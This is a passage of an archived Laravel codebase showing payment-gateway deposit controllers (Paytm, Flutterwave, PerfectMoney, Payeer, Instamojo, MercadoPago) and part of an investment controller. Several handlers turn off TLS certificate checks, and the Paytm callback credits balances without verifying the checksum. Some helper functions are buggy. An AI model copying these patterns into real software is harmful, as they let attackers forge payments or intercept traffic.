You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$request['amount'].' (USD) successfully!'); } }catch (Exception $e){ return back()->with('unsuccess', $e->getMessage()); } return back()->with('unsuccess', 'Please Enter Valid Credit Card Informations.'); } } Controllers/Deposit/PaytmController.php 0000644 00000036610 15111246742 0014341 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\GeniusMailer; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use Carbon\Carbon; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class PaytmController extends Controller { public function store(Request $request){ if($request->currency_code != "INR") { return back()->with('warning','Please Select INR Currency For Paytm.'); } $settings = Generalsetting::findOrFail(1); $deposit = new Deposit(); $item_name = $settings->title." Deposit"; $item_number = Str::random(12); $item_amount = $request->amount; $currency = Currency::whereId($request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $deposit['user_id'] = auth()->user()->id; $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $amountToAdd; $deposit['method'] = $request->method; $deposit['deposit_number'] = $item_number; $deposit['status'] = "pending"; $deposit->save(); Session::put('deposit_number',$item_number); Session::put('input_data',$request->all()); $data_for_request = $this->handlePaytmRequest( $item_number, $item_amount ); $paytm_txn_url = 'https://securegw-stage.paytm.in/theia/processTransaction'; $paramList = $data_for_request['paramList']; $checkSum = $data_for_request['checkSum']; return view( 'frontend.paytm-merchant-form', compact( 'paytm_txn_url', 'paramList', 'checkSum' ) ); } public function handlePaytmRequest( $transaction_id, $amount) { $gs = Generalsetting::first(); $data = PaymentGateway::whereKeyword('Paytm')->first(); $paydata = $data->convertAutoData(); $this->getAllEncdecFunc(); $checkSum = ""; $paramList = array(); $paramList["MID"] = $paydata['merchant']; $paramList["ORDER_ID"] = $transaction_id; $paramList["CUST_ID"] = $transaction_id; $paramList["INDUSTRY_TYPE_ID"] = $paydata['industry']; $paramList["CHANNEL_ID"] = 'WEB'; $paramList["TXN_AMOUNT"] = $amount; $paramList["WEBSITE"] = $paydata['website']; $paramList["CALLBACK_URL"] = route('deposit.paytm.notify'); $paytm_merchant_key = $paydata['secret']; $checkSum = getChecksumFromArray( $paramList, $paytm_merchant_key ); return array( 'checkSum' => $checkSum, 'paramList' => $paramList ); } function getAllEncdecFunc() { function encrypt_e($input, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_encrypt ( $input , "AES-128-CBC" , $key, 0, $iv ); return $data; } function decrypt_e($crypt, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_decrypt ( $crypt , "AES-128-CBC" , $key, 0, $iv ); return $data; } function pkcs5_pad_e($text, $blocksize) { $pad = $blocksize - (strlen($text) % $blocksize); return $text . str_repeat(chr($pad), $pad); } function pkcs5_unpad_e($text) { $pad = ord($text(strlen($text) - 1)); if ($pad > strlen($text)) return false; return substr($text, 0, -1 * $pad); } function generateSalt_e($length) { $random = ""; srand((double) microtime() * 1000000); $data = "AbcDE123IJKLMN67QRSTUVWXYZ"; $data .= "aBCdefghijklmn123opq45rs67tuv89wxyz"; $data .= "0FGH45OP89"; for ($i = 0; $i < $length; $i++) { $random .= substr($data, (rand() % (strlen($data))), 1); } return $random; } function checkString_e($value) { if ($value == 'null') $value = ''; return $value; } function getChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getChecksumFromString($str, $key) { $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function verifychecksum_e($arrayList, $key, $checksumvalue) { $arrayList = removeCheckSumParam($arrayList); ksort($arrayList); $str = getArray2StrForVerify($arrayList); $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function verifychecksum_eFromStr($str, $key, $checksumvalue) { $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function getArray2Str($arrayList) { $findme = 'REFUND'; $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pos = strpos($value, $findme); $pospipe = strpos($value, $findmepipe); if ($pos !== false || $pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function getArray2StrForVerify($arrayList) { $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function redirect2PG($paramList, $key) { $hashString = getchecksumFromArray($paramList, $key); $checksum = encrypt_e($hashString, $key); } function removeCheckSumParam($arrayList) { if (isset($arrayList["CHECKSUMHASH"])) { unset($arrayList["CHECKSUMHASH"]); } return $arrayList; } function getTxnStatus($requestParamList) { return callAPI(PAYTM_STATUS_QUERY_URL, $requestParamList); } function getTxnStatusNew($requestParamList) { return callNewAPI(PAYTM_STATUS_QUERY_NEW_URL, $requestParamList); } function initiateTxnRefund($requestParamList) { $CHECKSUM = getRefundChecksumFromArray($requestParamList,PAYTM_MERCHANT_KEY,0); $requestParamList["CHECKSUM"] = $CHECKSUM; return callAPI(PAYTM_REFUND_URL, $requestParamList); } function callAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function callNewAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function getRefundChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getRefundArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getRefundArray2Str($arrayList) { $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pospipe = strpos($value, $findmepipe); if ($pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function callRefundAPI($refundApiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $refundApiURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } } function getConfigPaytmSettings() { $gs = Generalsetting::first(); $data = PaymentGateway::whereKeyword('Paytm')->first(); $paydata = $data->convertAutoData(); if ($paydata['sandbox_check'] == 1) { define('PAYTM_ENVIRONMENT', 'TEST'); } elseif ($paydata['sandbox_check'] == 0) { define('PAYTM_ENVIRONMENT', 'PROD'); } define('PAYTM_MERCHANT_KEY', $paydata['secret']); define('PAYTM_MERCHANT_MID', $paydata['merchant']); define('PAYTM_MERCHANT_WEBSITE', $paydata['website']); $PAYTM_STATUS_QUERY_NEW_URL='https://securegw-stage.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw-stage.paytm.in/theia/processTransaction'; if (PAYTM_ENVIRONMENT == 'PROD') { $PAYTM_STATUS_QUERY_NEW_URL='https://securegw.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw.paytm.in/theia/processTransaction'; } define('PAYTM_REFUND_URL', ''); define('PAYTM_STATUS_QUERY_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_STATUS_QUERY_NEW_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_TXN_URL', $PAYTM_TXN_URL); } public function paytmCallback( Request $request ) { $deposit_number = Session::get('deposit_number'); $input = Session::get('input_data'); $transaction_id = $request['ORDERID']; if ( 'TXN_SUCCESS' === $request['STATUS'] ) { $transaction_id = $request['TXNID']; $deposit = Deposit::where('deposit_number',$deposit_number)->where('status','pending')->first(); $data['txnid'] = $transaction_id; $data['status'] = "complete"; $deposit->update($data); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $input['amount'], 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } Session::forget('deposit_number'); return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$input['amount'].' ('.$input['currency_code'].') successfully!'); } else if( 'TXN_FAILURE' === $request['STATUS'] ){ return redirect()->route('user.deposit.create')->with('unsuccess', 'Payment Cancelled.'); } } } Controllers/Deposit/FlutterwaveController.php 0000644 00000015477 15111246742 0015567 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class FlutterwaveController extends Controller { public $public_key; private $secret_key; public function __construct() { $data = PaymentGateway::whereKeyword('flutterwave')->first(); $paydata = $data->convertAutoData(); $this->public_key = $paydata['public_key']; $this->secret_key = $paydata['secret_key']; } public function store(Request $request) { $curl = curl_init(); $customer_email = auth()->user()->email; $currency = $request->currency_code; $PBFPubKey = $this->public_key; $redirect_url = route('deposit.flutter.notify'); $payment_plan = ""; $settings = Generalsetting::first(); $item_name = $settings->title." Deposit"; $item_number = Str::random(12); $txref = $item_number; $item_amount = $request->amount; $deposit = new Deposit(); $deposit['user_id'] = auth()->user()->id; $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $request->amount; $deposit['method'] = $request->method; $deposit['deposit_number'] = $item_number; $deposit['status'] = "pending"; $deposit->save(); Session::put('deposit_number',$item_number); Session::put('deposit_data',$request->all()); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/hosted/pay", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'amount' => $item_amount, 'customer_email' => $customer_email, 'currency' => $currency, 'txref' => $txref, 'PBFPubKey' => $PBFPubKey, 'redirect_url' => $redirect_url, 'payment_plan' => $payment_plan ]), CURLOPT_HTTPHEADER => [ "content-type: application/json", "cache-control: no-cache" ], )); $response = curl_exec($curl); $err = curl_error($curl); if($err){ die('Curl returned error: ' . $err); } $transaction = json_decode($response); if(!$transaction->data && !$transaction->data->link){ print_r('API returned error: ' . $transaction->message); } return redirect($transaction->data->link); } public function notify(Request $request) { $input = $request->all(); $deposit_number = Session::get('deposit_number'); $deposit_data = Session::get('deposit_data'); $deposit = Deposit::where('deposit_number',$deposit_number)->where('status','pending')->first(); if($request->cancelled == "true"){ return redirect()->route('user.dashboard')->with('success',__('Payment Cancelled!')); } if (isset($input['txref'])) { $ref = $input['txref']; $query = array( "SECKEY" => $this->secret_key, "txref" => $ref ); $data_string = json_encode($query); $ch = curl_init('https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/verify'); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); $response = curl_exec($ch); curl_close($ch); $resp = json_decode($response, true); if ($resp['status'] == "success") { $paymentStatus = $resp['data']['status']; $chargeResponsecode = $resp['data']['chargecode']; if (($chargeResponsecode == "00" || $chargeResponsecode == "0") && ($paymentStatus == "successful")) { $order['txnid'] = $resp['data']['txid']; $data['status'] = "complete"; $deposit->update($data); $gs = Generalsetting::findOrFail(1); $currency = Currency::where('id',$deposit_data['currency_id'])->first(); $amountToAdd = $deposit_data['amount']/$currency->value; $user = auth()->user(); $user->balance += $amountToAdd; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $amountToAdd; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit_data['amount'], 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$deposit_data['amount'].' ('.$deposit_data['currency_code'].') successfully!'); } else { return redirect()->route('user.deposit.create')->with('error','Something went wrong!'); } } } else { return redirect()->route('user.deposit.create')->with('error','Something went wrong!'); } } } Controllers/Deposit/PerfectMoneyController.php 0000644 00000007400 15111246742 0015642 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Repositories\DepositRepository; use Illuminate\Http\Request; use Illuminate\Support\Str; class PerfectMoneyController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('perfectmoney')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $deposit_name = $gs->title." Deposit"; $deposit_number = Str::random(4).time(); $addionalData = ['item_number'=>$deposit_number]; $this->orderRepositorty->deposit($request,'pending',$addionalData); $currency = Currency::whereId($request->currency_id)->first(); $amount = $request->amount/$currency->value; $info['PAYEE_ACCOUNT'] = trim($this->paydata['wallet_code']); $info['PAYEE_NAME'] = $deposit_name; $info['PAYMENT_ID'] = $deposit_number; $info['PAYMENT_AMOUNT'] = round($amount,2); $info['PAYMENT_UNITS'] = $currency->name; $info['STATUS_URL'] = route('deposit.perfectmoney.notify'); $info['PAYMENT_URL'] = route('user.deposit.index'); $info['PAYMENT_URL_METHOD'] = 'POST'; $info['NOPAYMENT_URL'] = route('user.deposit.create'); $info['NOPAYMENT_URL_METHOD'] = 'POST'; $info['SUGGESTED_MEMO'] = auth()->user()->name; $info['BAGGAGE_FIELDS'] = 'IDENT'; $data['info'] = $info; $data['method'] = 'post'; $data['url'] = 'https://perfectmoney.is/api/step1.asp'; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $deposit = Deposit::where('deposit_number',$_POST['PAYMENT_ID'])->where('status','pending')->first(); $user = auth()->user(); $alt_passphrase = strtoupper(md5($this->paydata['alternative_passphrase'])); define('ALTERNATE_PHRASE_HASH', $alt_passphrase); define('PATH_TO_LOG', '/somewhere/out/of/document_root/'); $string = $_POST['PAYMENT_ID'] . ':' . $_POST['PAYEE_ACCOUNT'] . ':' . $_POST['PAYMENT_AMOUNT'] . ':' . $_POST['PAYMENT_UNITS'] . ':' . $_POST['PAYMENT_BATCH_NUM'] . ':' . $_POST['PAYER_ACCOUNT'] . ':' . ALTERNATE_PHRASE_HASH . ':' . $_POST['TIMESTAMPGMT']; $hash = strtoupper(md5($string)); $hash2 = $_POST['V2_HASH']; if ($hash == $hash2) { foreach ($_POST as $key => $value) { $details[$key] = $value; } $pay_amount = $_POST['PAYMENT_AMOUNT']; $track = $_POST['PAYMENT_ID']; if ($_POST['PAYEE_ACCOUNT'] == $this->paydata['wallet_code'] && $pay_amount == round($deposit->amount,2) && $deposit->status == "pending") { $deposit->txnid = $details; $deposit->status = "complete"; $deposit->save(); $user->balance += $deposit->amount; $user->save(); $this->orderRepositorty->callAfterOrder($request,$deposit); return redirect()->route('user.deposit.index')->with('message','Deposit successfully complete.'); }else{ return redirect()->route('user.deposit.create')->with('unsuccess','Something went wrong!'); } }else{ return redirect()->route('user.deposit.create')->with('unsuccess','Something went wrong!'); } } } Controllers/Deposit/MercadopagoController.php 0000644 00000004667 15111246742 0015477 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use MercadoPago; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Repositories\DepositRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class MercadopagoController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $item_name = $gs->title." Deposit"; $item_number = Str::random(12); $item_amount = $request->amount; $currency = Currency::whereId($request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $addionalData = ['item_number'=>$item_number]; $this->orderRepositorty->deposit($request,'pending',$addionalData); $payment_amount = $request->amount/$currency->value; $data = PaymentGateway::whereKeyword('mercadopago')->first(); $paydata = $data->convertAutoData(); MercadoPago\SDK::setAccessToken($paydata['token']); $payment = new MercadoPago\Payment(); $payment->transaction_amount = $payment_amount; $payment->token = $request->token; $payment->description = 'Deposit '.$gs->title; $payment->installments = 1; $payment->payer = array( "email" => Auth::check() ? Auth::user()->email : 'example@gmail.com' ); $payment->save(); if ($payment->status == 'approved') { $deposit = Deposit::where('deposit_number',$item_number)->where('status','pending')->first(); $deposit->charge_id = $payment->payer->id; $deposit->status = 'complete'; $deposit->save(); $user->balance += $deposit->amount; $user->save(); $this->orderRepositorty->callAfterOrder($request,$deposit); return redirect()->route('user.deposit.index')->with('message','Deposit successfully complete.'); }else{ return redirect()->route('user.deposit.create')->with('unsuccess','Something Went wrong!'); } } } Controllers/Deposit/PayeerController.php 0000644 00000007122 15111246742 0014470 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Repositories\DepositRepository; use Illuminate\Http\Request; use Illuminate\Support\Str; class PayeerController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('payeer')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $deposit_name = $gs->title." Deposit"; $deposit_number = Str::random(4).time(); $addionalData = ['item_number'=>$deposit_number]; $this->orderRepositorty->deposit($request,'pending',$addionalData); $currency = Currency::whereId($request->currency_id)->first(); $amount = round($request->amount/$currency->value,2); $arHash = [ trim($this->paydata['merchant_id']), $deposit_number, $amount, $request->currency_code, base64_encode("Pay To $gs->title"), trim($this->paydata['secret_key']) ]; $info['m_shop'] = trim($this->paydata['merchant_id']); $info['m_orderid'] = $deposit_number; $info['m_amount'] = $amount; $info['m_curr'] = $request->currency_code; $info['m_desc'] = base64_encode("Pay To $gs->title"); $info['m_sign'] = strtoupper(hash('sha256', implode(":", $arHash))); $info['lang'] = 'en'; $data['info'] = $info; $data['method'] = "GET"; $data['url'] = "https://payeer.com/merchant"; return view('payment.redirect',compact('data')); } public function notify(Request $request) { if (isset($request->m_operation_id) && isset($request->m_sign)) { $sign_hash = strtoupper(hash('sha256', implode(":", array( $request->m_operation_id, $request->m_operation_ps, $request->m_operation_date, $request->m_operation_pay_date, $request->m_shop, $request->m_orderid, $request->m_amount, $request->m_curr, $request->m_desc, $request->m_status, $this->paydata['secret_key'] )))); if ($request->m_sign != $sign_hash) { return redirect()->route('user.deposit.create')->with('unsuccess','digital signature not matched!'); } else { $user = auth()->user(); $deposit = Deposit::where('deposit_number',$request->m_orderid)->where('status','pending')->first(); if ($request->m_amount == round($deposit->amount,2) && $request->m_status == 'success' && $deposit->status == 'pending') { $deposit->status = "complete"; $deposit->save(); $user->balance += $deposit->amount; $user->save(); $this->orderRepositorty->callAfterOrder($request,$deposit); } else { return redirect()->route('user.deposit.create')->with('unsuccess','transaction was unsuccessful!'); } } } else { return redirect()->route('user.deposit.create')->with('unsuccess','transaction was unsuccessful!'); } } } Controllers/Deposit/InstamojoController.php 0000644 00000011365 15111246743 0015213 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use Illuminate\Support\Facades\Session; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Models\PaymentGateway; use App\Models\Generalsetting; use App\Classes\GeniusMailer; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Classes\Instamojo; use App\Models\Currency; use App\Models\Deposit; use App\Models\Transaction; class InstamojoController extends Controller { public function store(Request $request) { $input = $request->all(); $data = PaymentGateway::whereKeyword('instamojo')->first(); $gs = Generalsetting::first(); $total = $request->amount; $paydata = $data->convertAutoData(); if($request->currency_code != "INR") { return redirect()->back()->with('warning',__('Please Select INR Currency For This Payment.')); } $user = auth()->user(); $order['item_name'] = $gs->title." Deposit"; $order['item_number'] = Str::random(12); $order['item_amount'] = $total; $cancel_url = route('deposit.paypal.cancel'); $notify_url = route('deposit.instamojo.notify'); if($paydata['sandbox_check'] == 1){ $api = new Instamojo($paydata['key'], $paydata['token'], 'https://test.instamojo.com/api/1.1/'); } else { $api = new Instamojo($paydata['key'], $paydata['token']); } try { $response = $api->paymentRequestCreate(array( "purpose" => $order['item_name'], "amount" => $order['item_amount'], "send_email" => true, "email" => $user->email, "redirect_url" => $notify_url )); $redirect_url = $response['longurl']; Session::put('input_data',$input); Session::put('order_data',$order); Session::put('order_payment_id', $response['id']); return redirect($redirect_url); } catch (Exception $e) { return redirect($cancel_url)->with('unsuccess','Error: ' . $e->getMessage()); } } public function notify(Request $request) { $input = Session::get('input_data'); $order_data = Session::get('order_data'); $input_data = $request->all(); $user = auth()->user(); $deposit = new Deposit(); $payment_id = Session::get('order_payment_id'); if($input_data['payment_status'] == 'Failed'){ return redirect()->back()->with('unsuccess','Something Went wrong!'); } if ($input_data['payment_request_id'] == $payment_id) { $currency = Currency::where('id',$input['currency_id'])->first(); $amountToAdd = $input['amount']/$currency->value; $deposit['deposit_number'] = $order_data['item_number']; $deposit['user_id'] = auth()->user()->id; $deposit['currency_id'] = $input['currency_id']; $deposit['amount'] = $amountToAdd; $deposit['method'] = $input['method']; $deposit['txnid'] = $payment_id; $deposit['status'] = "complete"; $deposit->save(); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $user->balance += $amountToAdd; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $amountToAdd; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $order_data['item_number']; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $input['amount'], 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$input['amount'].' ('.$input['currency_code'].') successfully!'); } return redirect()->route('user.deposit.create')->with('unsuccess','Something Went wrong!'); } } Controllers/User/InvestController.php 0000644 00000032102 15111246743 0014017 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Classes\GeniusMailer; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use App\Models\Referral; use App\Models\ReferralBonus; use App\Models\User; use App\Models\Generalsetting; use App\Models\Transaction; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class InvestController extends Controller { public $gs; public $allusers = []; public $referral_ids = []; public function __construct() { // dd($mercadoKey); $this->middleware('auth'); $this->gs = Generalsetting::findOrFail(1); } public function mainWallet(Request $request){ $amount = userBaseAmount($request->amount); if($amount>0){ if($plan = Plan::whereId($request->investId)->first()){ if($plan->invest_type == 'range'){ if($plan->min_amount > $amount ){ return redirect()->back()->with('warning','Amount Should be greater than this!'); } if($amount > $plan->max_amount){ return redirect()->back()->with('warning','Amount Should be less than this.'); } } if($amount <= auth()->user()->balance){ $currency = Currency::first(); $invest = new Invest(); $invest->transaction_no = Str::random(12); $invest->user_id = auth()->id(); $invest->plan_id = $plan->id; $invest->currency_id = $currency->id; $invest->method = 'Main Wallet'; $invest->amount = $amount; $profitAmount = ($amount * $plan->profit_percentage)/100; $invest->profit_amount = $profitAmount; if($plan->lifetime_return){ $invest->lifetime_return = 1; } if($plan->captial_return){ $invest->capital_back = 1; $invest->profit_repeat = 0; } $invest->status = 1; $invest->payment_status = "completed"; $invest->profit_time = Carbon::now()->addHours($plan->schedule_hour); $invest->save(); $user = auth()->user(); $user->balance = $user->balance - $amount; $user->update(); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $amount ; $trans->type = "Invest"; $trans->txnid = $invest->transaction_no; $trans->user_id = $invest->user_id; $trans->save(); $this->refferalBonus($invest); return redirect()->back()->with('message','Stake successful, profit in progress.'); }else{ return redirect()->back()->with('warning','You don,t have sufficient balance.'); } return redirect()->route('user.invest.checkout'); } }else{ return redirect()->route('front.index')->with('warning','Amount should be greater then 0!'); } } public function interestWallet(Request $request){ $amount = userBaseAmount($request->amount); if($amount>0){ if($plan = Plan::whereId($request->investId)->first()){ if($plan->invest_type == 'range'){ if($plan->min_amount > $amount){ return redirect()->back()->with('warning','Amount Should be greater than this!'); } if($amount > $plan->max_amount){ return redirect()->back()->with('warning','Amount Should be less than this.'); } } if($amount < auth()->user()->interest_balance){ $currency = Currency::first(); $invest = new Invest(); $invest->transaction_no = Str::random(12); $invest->user_id = auth()->id(); $invest->plan_id = $plan->id; $invest->currency_id = $currency->id; $invest->method = 'Interest Wallet'; $invest->amount = $amount; $profitAmount = ($amount * $plan->profit_percentage)/100; $invest->profit_amount = $profitAmount; if($plan->lifetime_return){ $invest->lifetime_return = 1; } if($plan->captial_return){ $invest->capital_back = 1; $invest->profit_repeat = 0; } $invest->status = 1; $invest->payment_status = "completed"; $invest->profit_time = Carbon::now()->addHours($plan->schedule_hour); $invest->save(); $user = auth()->user(); $user->interest_balance =$user->interest_balance - $amount; $user->update(); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $invest->amount; $trans->type = "Invest"; $trans->txnid = $invest->transaction_no; $trans->user_id = $invest->user_id; $trans->save(); $this->refferalBonus($invest); // $this->sendMail($invest); return redirect()->back()->with('message','Stake successful, profit in progress.'); }else{ return 